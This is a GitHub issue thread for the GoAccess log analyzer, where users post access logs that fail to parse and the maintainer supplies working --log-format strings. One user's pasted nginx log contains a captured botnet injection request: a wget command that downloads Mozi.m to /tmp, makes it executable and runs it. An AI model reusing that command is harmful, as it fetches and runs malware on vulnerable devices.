search

allinurl / goaccess

GoAccess is a real-time web log analyzer and interactive viewer that runs in a terminal in *nix systems or through your browser.
https://goaccess.io
MIT License
18.38k stars 1.11k forks source link

Token '' doesn't match specifier '%h' #1635

Closed almirus closed 4 years ago

almirus commented 4 years ago

if LOG have leading space, get error Token '' doesn't match specifier '%h' [SPACE]10.88.241.31 - - [24/Nov/2019:03:34:04 +0300] "GET /" 200 21139 "-" "-"

allinurl commented 4 years ago

You will need to use a custom log format. e.g.,

goaccess access.log --log-format=' %h %^[%d:%t %^] "%m %U" %s %b "%R" "%u"' --date-format=%d/%b/%Y --time-format=%T --http-protocol=no
librenauta commented 4 years ago

hi! same problem, sorry im very new to this , my log is 

- [06/Jan/2020:04:53:22 +0100]
 "GET / HTTP/1.1" 200 3658 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
- [06/Jan/2020:04:53:22 +0100]
 "GET /css/base.css HTTP/1.1" 200 10887 "https://mesh.copiona.com/" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
- [06/Jan/2020:04:53:22 +0100]
 "GET /js/anime.min.js HTTP/1.1" 200 14420 "https://mesh.copiona.com/" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
- [06/Jan/2020:04:53:22 +0100]
 "GET /js/demo.js HTTP/1.1" 200 4521 "https://mesh.copiona.com/" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
- [06/Jan/2020:04:53:23 +0100]
 "GET /favicon.ico HTTP/1.1" 200 13294 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
- [06/Jan/2020:04:53:23 +0100]
 "GET /img/hydra.jpg HTTP/1.1" 200 771227 "https://mesh.copiona.com/css/base.css" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
- [06/Jan/2020:04:53:58 +0100]
 "HEAD / HTTP/1.1" 400 0 "-" "Monit/5.20.0" "-"

when type :$ sudo goaccess -f /var/log/nginx/access.log

drop it :

Parsed 1 linesproducing the following errors:

Token '-' doesn't match specifier '%h'

Format Errors - Verify your log/date/time format any help is welcome <3

allinurl commented 4 years ago

@librenauta GoAccess requires the following fields:

a valid IPv4/6 %h a valid date %d the request %r

librenauta commented 4 years ago

thnks, i edit my conf nginx with: http { log_format specialLog '$remote_addr forwarded for $http_x_real_ip - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent"'; access_log /var/log/nginx/blog/access.log specialLog; }

and run with: Please try this (assuming the client IP is on the first field)

goaccess accesslog --log-format='%h %^[%d:%t %^] "%r" %s %b "%R" "%u" %T %^' --date-format=%d/%b/%Y --time-format=%T

Originally posted by @allinurl in https://github.com/allinurl/goaccess/issues/1546#issuecomment-531621839

thnks 4 help <3

allinurl commented 4 years ago

@librenauta Please try:

goaccess accesslog --log-format='%h %^[%d:%t %^] "%r" %s %b "%R" "%u" %^' --date-format=%d/%b/%Y --time-format=%T
librenauta commented 4 years ago

it's works, thank u for that support

allinurl commented 4 years ago

Awesome. Closing this. Feel free to reopen it as needed.

dmk2861995 commented 3 years ago

Hi Team,

Having the same issue. could you please look into this and share your insights?

Error:
==13663== GoAccess - Copyright (C) 2009-2020 by Gerardo Orellana
==13663== https://goaccess.io - <hello@goaccess.io>
==13663== Released under the MIT License.
==13663==
==13663== FILE: access.log
==13663== Parsed 10 lines producing the following errors:
==13663==
==13663== Token '2021-07-13T02:00:00+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:00+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:00+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:00+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:01+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:00+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:02+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:05+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:01+00:00]' doesn't match specifier '%h'
==13663== Token '2021-07-13T02:00:01+00:00]' doesn't match specifier '%h'
==13663==
==13663== Format Errors - Verify your log/date/time format

Thanks in Advance!

allinurl commented 3 years ago

@dmk2861995 please post a few lines from your access.log. Thanks

abdul-alim commented 2 years ago

Hi Team, Having the same issue.

Log Sample: 

[17/Feb/2022:10:34:56 +0000] - 200 200 - GET https www.dealzone.app "/" [Client 49.204.136.60] [Length 93] [Gzip -] [Sent-to api] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4692.99 Safari/537.36" "-"
[17/Feb/2022:10:34:57 +0000] - 200 200 - GET https www.dealzone.app "/" [Client 49.204.136.60] [Length 93] [Gzip -] [Sent-to api] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4692.99 Safari/537.36" "-"

Error: 

Token '[17/Feb/2022:10:34:33' doesn't match specifier '%h'
allinurl commented 2 years ago

@abdul-alim Sorry for the delay, this should do it:

goaccess access.log --log-format='[%d:%t %^] %^ %s %^ %^ %m %^ %v "%U" [%^ %h] [%^ %b] %^"%u" "%R"' --date-format=%d/%b/%Y --time-format=%T
skathiresan-hw commented 2 years ago 
time_local="$time_local" http_method="$request_method" scheme="$scheme" site="$server_name" server="$host" dest_port="$server_port" dest_ip="$server_addr" http_host="$http_host" src="$remote_addr" user="$remote_user" status="$status" bytes_out="$body_bytes_sent" bytes_in="$upstream_response_length" http_referer="$http_referer" http_user_agent="$http_user_agent" nginx_version="$nginx_version" http_x_forwarded_for="$http_x_forwarded_for" uri_path="$uri" response_time="$upstream_response_time" request_time="$request_time" protocol="$server_protocol" $status $body_bytes_sent "$http_referer"   "$http_user_agent" "$http_x_forwarded_for" ua="$upstream_addr" us="$upstream_status"limit_req_status=$limit_req_status

using nginx2goaccess.sh, we get

time-format %T
date-format %d/%b/%Y
log_format time_local="%d:%t %^" http_method="%m" scheme="%^" site="%^" server="%v" dest_port="%^" dest_ip="%^" http_host="%v" src="%h" user="%^" status="%s" bytes_out="%b" bytes_in="%^" http_referer="%R" http_user_agent="%u" nginx_version="%^" http_x_forwarded_for="%^" uri_path="%^" response_time="%^" request_time="%T" protocol="%H" %s %b "%R"   "%u" "%^" ua="%^" us="%^"limit_req_status=%^

but it doesn't work, we keep getting error.

sample access log::

time_local="11/JAN/2022:15:38:20 +0000" http_method="GET" scheme="https" site="*.example.com" server="api.example.com" dest_port="443" dest_ip="1.8.2.53" http_host="api.example.com" src="1.8.2.254" user="monitor" status="200" bytes_out="958" bytes_in="958" http_referer="-" http_user_agent="okhttp/4.8.1" nginx_version="1.21.0" http_x_forwarded_for="1.8.2.254" uri_path="/path/" response_time="0.196" request_time="0.196" protocol="HTTP/1.1"200 958 "-" "okhttp/4.8.1" "199.247.90.248"ua="10.10.20.10" us="200" limit_req_status=PASSED

Please help @allinurl

allinurl commented 2 years ago

This should do it @skathiresan-hw

goaccess access.log --log-format='%^="%d:%t %^" %^="%m" %^="%^" %^="%^" %^="%v" %^="%^" %^="%^" %^="%^" %^="%h" %^="%e" %^="%s" %^="%b" %^="%^" %^="%R" %^="%u" %^="%^" %^="%^" %^="%U" %^="%T" %^="%^" %^="%H" %^' --date-format=%d/%b/%Y --time-format=%T
Maxime-Garcia commented 2 years ago

Hi @allinurl ! I am having the same issue as the others. I don't really know how goaccess works but when I use this command line : goaccess acces.log.txt and I toggle any of the options I always have an error like that : Token '+0000]' doesn't match specifier '%h'. I really don't know what to do to fix this. Thanks in advance for your time !

allinurl commented 2 years ago

@Maxime-Garcia sounds like a format issue, please feel free to post a few sample lines from your access.log so I can take a look. Thanks.

Maxime-Garcia commented 2 years ago

Hi again @allinurl ! Thanks for your response and sorry for the delay of mine, here's a sample of my access.log.

thonon-gaming-fest.fr 2a04:cec0:112c:e350:0:a:2575:3201 - - [10/May/2022:14:58:46 +0000] (0 s) "GET /wp-content/plugins/pandemic-core/inc/wp-team-matches/components/tipsy/src/stylesheets/tipsy.css?ver=5.9.3 HTTP/1.1" 200 509 "-" "Mozilla/5.0 (Linux; Android 11; DN2103) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
thonon-gaming-fest.fr 2a04:cec0:112c:e350:0:a:2575:3201 - - [10/May/2022:14:58:46 +0000] (0 s) "GET /wp-content/plugins/pandemic-core/inc/wp-team-matches/css/flags.css?ver=1.01 HTTP/1.1" 200 1803 "-" "Mozilla/5.0 (Linux; Android 11; DN2103) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
thonon-gaming-fest.fr 2a04:cec0:112c:e350:0:a:2575:3201 - - [10/May/2022:14:58:46 +0000] (0 s) "GET /wp-includes/css/dist/block-library/style.min.css?ver=5.9.3 HTTP/1.1" 200 11206 "-" "Mozilla/5.0 (Linux; Android 11; DN2103) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"

Thank you so much for your help !!

allinurl commented 2 years ago

No worries, please try this:

goaccess access.log --log-format='%v %h %^[%d:%t %^] (%T s) "%r" %s %b "%R" "%u"' --date-format=%d/%b/%Y --time-format=%T
Maxime-Garcia commented 2 years ago

Hello @allinurl ! This is working perfectly now ! Thanks a lot for your help !! Have a great day :) !

RaginiShankar commented 2 years ago

Hi @allinurl I am having the same issue :(

==836== Token '06/May/2022:00:00:00' doesn't match specifier '%h' ==836== Token '06/May/2022:00:00:00' doesn't match specifier '%h' ==836== Token '06/May/2022:00:00:06' doesn't match specifier '%h'

Getting above error for below tomcat log and log pattern in tomcat specified as %t %a %u %m %U %q %s %T %D %I %B

[08/May/2022:00:00:05 +0530] 1.24.16.182 - POST /servlet/loginPage 200 60.005 60005 https-jsse-nio2-0.0.0.0-8061-exec-13 0 [08/May/2022:00:00:05 +0530] 192.8.19.97 - POST /servlet/logoutPage 200 0.031 31 https-jsse-nio2-0.0.0.0-8061-exec-31 0

allinurl commented 2 years ago

@RaginiShankar Please try:

goaccess access.log --log-format='[%d:%t %^] %h %e %m %U %s %T %^ %v %^' --date-format=%d/%b/%Y --time-format=%T
RaginiShankar commented 2 years ago

I am still getting the same error and it has not been resolved.

On Thu, May 19, 2022 at 7:56 AM Gerardo O. @.***> wrote:

@RaginiShankar https://github.com/RaginiShankar Please try:

goaccess access.log --log-format='[%d:%t %^] %h %e %m %U %s %T %^ %v %^' --date-format=%d/%b/%Y --time-format=%T

— Reply to this email directly, view it on GitHub https://github.com/allinurl/goaccess/issues/1635#issuecomment-1131029237, or unsubscribe https://github.com/notifications/unsubscribe-auth/ACAZLKKJZSXBYXWT2TZ3HRLVKWRF3ANCNFSM4J7DOYTQ . You are receiving this because you were mentioned.Message ID: @.***>

-- Regards, Ragi

allinurl commented 2 years ago

@RaginiShankar For those two lines you posted, the format I shared works fine. Please upload a sample log directly from your access log. e.g.,

tail -30 access.log > sample.log
RaginiShankar commented 2 years ago

Please find the sample log

On Thu, May 19, 2022 at 9:33 PM Gerardo O. @.***> wrote:

@RaginiShankar https://github.com/RaginiShankar For those two lines you posted, the format I shared works fine. Please upload a sample log directly from your access log. e.g.,

tail -30 access.log > sample.log

— Reply to this email directly, view it on GitHub https://github.com/allinurl/goaccess/issues/1635#issuecomment-1131908057, or unsubscribe https://github.com/notifications/unsubscribe-auth/ACAZLKM7LZVRNPLYLM3TSSDVKZQ3NANCNFSM4J7DOYTQ . You are receiving this because you were mentioned.Message ID: @.***>

-- Regards, Ragi

[06/May/2022:00:00:00 +0530] 12.24.138.6 - POST /servlet/testServlet 200 0.029 29 https-jsse-nio2-0.0.0.0-8061-exec-16 0 [06/May/2022:00:00:00 +0530] 12.168.139.97 - POST /servlet/testServlet 200 0.002 2 https-jsse-nio2-0.0.0.0-8061-exec-11 0 [06/May/2022:00:00:06 +0530] 12.168.138.235 - POST /servlet/testServlet 200 0.013 13 https-jsse-nio2-0.0.0.0-8061-exec-11 0 [06/May/2022:00:00:07 +0530] 12.24.138.6 - POST /servlet/testServlet 200 60.004 60004 https-jsse-nio2-0.0.0.0-8061-exec-35 0 [06/May/2022:00:00:10 +0530] 12.24.147.42 - POST /servlet/testServlet 200 0.013 13 https-jsse-nio2-0.0.0.0-8061-exec-10 0 [06/May/2022:00:00:10 +0530] 12.168.139.97 - POST /servlet/testServlet 200 60.002 60002 https-jsse-nio2-0.0.0.0-8061-exec-34 0 [06/May/2022:00:00:10 +0530] 12.24.151.242 - POST /servlet/testServlet 200 0.009 9 https-jsse-nio2-0.0.0.0-8061-exec-2 0 [06/May/2022:00:00:12 +0530] 12.24.144.17 - POST /servlet/testServlet 200 60.002 60002 https-jsse-nio2-0.0.0.0-8061-exec-18 0 [06/May/2022:00:00:13 +0530] 12.24.137.252 - POST /servlet/testServlet 200 0.002 2 https-jsse-nio2-0.0.0.0-8061-exec-31 0 [06/May/2022:00:00:13 +0530] 12.24.137.252 - POST /servlet/testServlet 200 0.001 1 https-jsse-nio2-0.0.0.0-8061-exec-10 0 [06/May/2022:00:00:13 +0530] 12.24.137.252 - POST /servlet/testServlet 200 0.002 2 https-jsse-nio2-0.0.0.0-8061-exec-2 0 [06/May/2022:00:00:13 +0530] 12.24.144.17 - POST /servlet/testServlet 200 0.011 11 https-jsse-nio2-0.0.0.0-8061-exec-34 0

allinurl commented 2 years ago

@RaginiShankar Please attach a file, I don't know if your log is delimited by spaces or tabs, can't really tell based on the spacing I'm seeing. Thanks

AD-Karthik commented 1 year ago

@allinurl - Please help me on the goaccess log-format for the below type nginx log-formats 127.0.0.1 - - [27/Dec/2022:09:01:52 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:02:45 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:03:51 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:08:21 -0500] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03\xB6\xA9VaU\xA1\x13|\x05!(\xD2\xBB\xF8\xEF\xD2\xDB\xC5" 400 150 "-" "-" 127.0.0.1 - - [27/Dec/2022:09:11:45 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:15:55 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:16:53 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:16:54 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:17:47 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:18:19 -0500] "GET / HTTP/1.1" 302 138 "-" "Mozilla/5.0 zgrab/0.x" 127.0.0.1 - - [27/Dec/2022:09:18:53 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:26:47 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:30:57 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:31:55 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:31:56 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:32:49 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:33:55 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:41:49 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:45:59 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:46:57 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:46:57 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:47:50 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:48:57 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:56:50 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:09:58:39 -0500] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 150 "-" "-" 127.0.0.1 - - [27/Dec/2022:10:01:00 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:10:01:58 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:10:01:59 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:10:02:52 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0" 127.0.0.1 - - [27/Dec/2022:10:03:59 -0500] "GET /v1/encryptedSerial/requestKey HTTP/1.1" 200 50 "-" "Java/1.7.0"

Thanks

allinurl commented 1 year ago

@AD-Karthik Please try

goaccess access.log --log-format=COMBINED
AD-Karthik commented 1 year ago

@allinurl - Thanks for your quick response. It worked for me.

Thanks

ansdnrwp commented 1 year ago

@allinurl - Please help me on the goaccess log-format

  1. log sample

223.131.207.216 - - [01/Jan/2023:23:54:59 +0900] "POST /acusr/acc/bil/updateOnlineBillInfo.do HTTP/1.1" 200 7200 223.131.207.216 - - [01/Jan/2023:23:55:00 +0900] "POST /acusr/acc/bil/selectBillList.do HTTP/1.1" 200 10751 223.131.207.216 - - [01/Jan/2023:23:55:00 +0900] "POST /acusr/acc/bil/nextBillInfo.do HTTP/1.1" 200 858 223.131.207.216 - - [01/Jan/2023:23:55:10 +0900] "POST /acusr/acc/bil/selectBillList.do HTTP/1.1" 200 10751 223.131.207.216 - - [01/Jan/2023:23:55:10 +0900] "POST /acusr/acc/bil/nextBillInfo.do HTTP/1.1" 200 858 223.131.207.216 - - [01/Jan/2023:23:55:14 +0900] "POST /acusr/acc/bil/selectBillList.do HTTP/1.1" 200 64295 223.131.207.216 - - [01/Jan/2023:23:55:14 +0900] "POST /acusr/acc/bil/nextBillInfo.do HTTP/1.1" 200 858 59.15.165.153 - - [01/Jan/2023:23:58:44 +0900] "POST /acusr/acc/est/budgetedit/saveBudgetEdit.do HTTP/1.1" 200 191243 59.15.165.153 - - [01/Jan/2023:23:59:06 +0900] "GET /miapp/./AcusrAccPop/../img/S_progress.gif HTTP/1.1" 200 15798 59.15.165.153 - - [01/Jan/2023:23:59:06 +0900] "POST /acusr/acc/pop/budgetcalcdtl/initBudgetCalcDtl.do HTTP/1.1" 200 313

  1. run command

goaccess access.log_01012023 --log-format='%h %^[%d:%t %^] "%r" %s %b "%R" "%u" %^' --date-format=%d/%b/%Y --time-format=%T -a > report_01012023.html

  1. error message

==2865== 10 개의 행을 식별 다음과 같은 오류 메시지 발생: ==2865== ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== ==2865== 형식 오류 - 로그/날짜/시간 형식을 확인하세요

Thanks

liuende501 commented 1 year ago

@allinurl - Please help me on the goaccess log-format

  1. log sample

223.131.207.216 - - [01/Jan/2023:23:54:59 +0900] "POST /acusr/acc/bil/updateOnlineBillInfo.do HTTP/1.1" 200 7200 223.131.207.216 - - [01/Jan/2023:23:55:00 +0900] "POST /acusr/acc/bil/selectBillList.do HTTP/1.1" 200 10751 223.131.207.216 - - [01/Jan/2023:23:55:00 +0900] "POST /acusr/acc/bil/nextBillInfo.do HTTP/1.1" 200 858 223.131.207.216 - - [01/Jan/2023:23:55:10 +0900] "POST /acusr/acc/bil/selectBillList.do HTTP/1.1" 200 10751 223.131.207.216 - - [01/Jan/2023:23:55:10 +0900] "POST /acusr/acc/bil/nextBillInfo.do HTTP/1.1" 200 858 223.131.207.216 - - [01/Jan/2023:23:55:14 +0900] "POST /acusr/acc/bil/selectBillList.do HTTP/1.1" 200 64295 223.131.207.216 - - [01/Jan/2023:23:55:14 +0900] "POST /acusr/acc/bil/nextBillInfo.do HTTP/1.1" 200 858 59.15.165.153 - - [01/Jan/2023:23:58:44 +0900] "POST /acusr/acc/est/budgetedit/saveBudgetEdit.do HTTP/1.1" 200 191243 59.15.165.153 - - [01/Jan/2023:23:59:06 +0900] "GET /miapp/./AcusrAccPop/../img/S_progress.gif HTTP/1.1" 200 15798 59.15.165.153 - - [01/Jan/2023:23:59:06 +0900] "POST /acusr/acc/pop/budgetcalcdtl/initBudgetCalcDtl.do HTTP/1.1" 200 313

  1. run command

goaccess access.log_01012023 --log-format='%h %^[%d:%t %^] "%r" %s %b "%R" "%u" %^' --date-format=%d/%b/%Y --time-format=%T -a > report_01012023.html

  1. error message

==2865== 10 개의 행을 식별 다음과 같은 오류 메시지 발생: ==2865== ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== Token '01/Jan/2023' doesn't match specifier '%d' ==2865== ==2865== 형식 오류 - 로그/날짜/시간 형식을 확인하세요

Thanks

the same as me i use in chinese and macOS

log sample

120.224.1.239 - - [15/Jan/2023:16:33:45 +0800] "POST /xxfb-dhccam/gateway/index HTTP/1.1" 200 4866 "-" "okhttp/3.8.1"

run commadn

# LC_ALL=zh_CN.UTF-8 because i want my report generate by chinese
LC_ALL=zh_CN.UTF-8 goaccess -o report.html --log-format=COMBINED --date-format='%d/%b/%Y' test.log

log error

 [PARSING test.log] {0} @ {0/s}
Cleaning up resources...
==27887== GoAccess - version 1.7 - Jan 15 2023 16:37:28
==27887== Config file: /Users/liuende/opt/goaccess/etc/goaccess/goaccess.conf
==27887== https://goaccess.io - <hello@goaccess.io>
==27887== Released under the MIT License.
==27887==
==27887== FILE: test.log
==27887== 已解析 1 行 出现以下错误:   translate to english: Parsed 1 lines producing the following errors:
==27887==
==27887== Token '15/Jan/2023' doesn't match specifier '%d'
==27887==
==27887== 格式错误 - 请检查你的日志/日期/时间格式 translate to english: Format Errors - Verify your log/date/time format
allinurl commented 1 year ago

@ansdnrwp Please try:

goaccess access.log --log-format=COMMON
allinurl commented 1 year ago

@liuende501 Please use LC_TIME instead of LC_ALL

liuende501 commented 1 year ago

Thank for your reply! when i use LC_TIME instead of LC_ALL, there is no error, but the report.html is still English.

I already try LC_ALL=zh_CN.UTF-8 goaccess -o report.html --log-format=COMBINED --date-format='%d/%b/%Y' test.log on CentOS, there is no error. But on my computer(MacOS Ventura Version 13.1 (22C65)) show error.

allinurl commented 1 year ago

@liuende501 what's the output of locale -a?

liuende501 commented 1 year ago

output of locale

LANG="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_CTYPE="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_ALL="en_US.UTF-8"

output of locale -a

en_NZ
nl_NL.UTF-8
pt_BR.UTF-8
fr_CH.ISO8859-15
eu_ES.ISO8859-15
en_US.US-ASCII
af_ZA
bg_BG
cs_CZ.UTF-8
fi_FI
zh_CN.UTF-8
eu_ES
sk_SK.ISO8859-2
nl_BE
fr_BE
sk_SK
en_US.UTF-8
en_NZ.ISO8859-1
de_CH
sk_SK.UTF-8
de_DE.UTF-8
am_ET.UTF-8
zh_HK
be_BY.UTF-8
uk_UA
pt_PT.ISO8859-1
en_AU.US-ASCII
kk_KZ.PT154
en_US
nl_BE.ISO8859-15
de_AT.ISO8859-1
hr_HR.ISO8859-2
fr_FR.ISO8859-1
af_ZA.UTF-8
am_ET
fi_FI.ISO8859-1
ro_RO.UTF-8
af_ZA.ISO8859-15
en_NZ.UTF-8
fi_FI.UTF-8
hr_HR.UTF-8
da_DK.UTF-8
ca_ES.ISO8859-1
en_AU.ISO8859-15
ro_RO.ISO8859-2
de_AT.UTF-8
pt_PT.ISO8859-15
sv_SE
fr_CA.ISO8859-1
fr_BE.ISO8859-1
en_US.ISO8859-15
it_CH.ISO8859-1
en_NZ.ISO8859-15
en_AU.UTF-8
de_AT.ISO8859-15
af_ZA.ISO8859-1
hu_HU.UTF-8
et_EE.UTF-8
he_IL.UTF-8
uk_UA.KOI8-U
be_BY
kk_KZ
hu_HU.ISO8859-2
it_CH
pt_BR
ko_KR
it_IT
fr_BE.UTF-8
ru_RU.ISO8859-5
zh_TW
zh_CN.GB2312
no_NO.ISO8859-15
de_DE.ISO8859-15
en_CA
fr_CH.UTF-8
sl_SI.UTF-8
uk_UA.ISO8859-5
pt_PT
hr_HR
cs_CZ
fr_CH
he_IL
zh_CN.GBK
zh_CN.GB18030
fr_CA
pl_PL.UTF-8
ja_JP.SJIS
sr_YU.ISO8859-5
be_BY.CP1251
sr_YU.ISO8859-2
sv_SE.UTF-8
sr_YU.UTF-8
de_CH.UTF-8
sl_SI
pt_PT.UTF-8
ro_RO
en_NZ.US-ASCII
ja_JP
zh_CN
fr_CH.ISO8859-1
ko_KR.eucKR
be_BY.ISO8859-5
nl_NL.ISO8859-15
en_GB.ISO8859-1
en_CA.US-ASCII
is_IS.ISO8859-1
ru_RU.CP866
nl_NL
fr_CA.ISO8859-15
sv_SE.ISO8859-15
hy_AM
en_CA.ISO8859-15
en_US.ISO8859-1
zh_TW.Big5
ca_ES.UTF-8
ru_RU.CP1251
en_GB.UTF-8
en_GB.US-ASCII
ru_RU.UTF-8
eu_ES.UTF-8
es_ES.ISO8859-1
hu_HU
el_GR.ISO8859-7
en_AU
it_CH.UTF-8
en_GB
sl_SI.ISO8859-2
ru_RU.KOI8-R
nl_BE.UTF-8
et_EE
fr_FR.ISO8859-15
cs_CZ.ISO8859-2
lt_LT.UTF-8
pl_PL.ISO8859-2
fr_BE.ISO8859-15
is_IS.UTF-8
tr_TR.ISO8859-9
da_DK.ISO8859-1
lt_LT.ISO8859-4
lt_LT.ISO8859-13
zh_TW.UTF-8
bg_BG.CP1251
el_GR.UTF-8
be_BY.CP1131
da_DK.ISO8859-15
is_IS.ISO8859-15
no_NO.ISO8859-1
nl_NL.ISO8859-1
nl_BE.ISO8859-1
sv_SE.ISO8859-1
pt_BR.ISO8859-1
zh_CN.eucCN
it_IT.UTF-8
en_CA.UTF-8
uk_UA.UTF-8
de_CH.ISO8859-15
de_DE.ISO8859-1
ca_ES
sr_YU
hy_AM.ARMSCII-8
ru_RU
zh_HK.UTF-8
eu_ES.ISO8859-1
is_IS
bg_BG.UTF-8
ja_JP.UTF-8
it_CH.ISO8859-15
fr_FR.UTF-8
ko_KR.UTF-8
et_EE.ISO8859-15
kk_KZ.UTF-8
ca_ES.ISO8859-15
en_IE.UTF-8
es_ES
de_CH.ISO8859-1
en_CA.ISO8859-1
es_ES.ISO8859-15
en_AU.ISO8859-1
el_GR
da_DK
no_NO
it_IT.ISO8859-1
en_IE
zh_HK.Big5HKSCS
hi_IN.ISCII-DEV
ja_JP.eucJP
it_IT.ISO8859-15
pl_PL
ko_KR.CP949
fr_CA.UTF-8
fi_FI.ISO8859-15
en_GB.ISO8859-15
fr_FR
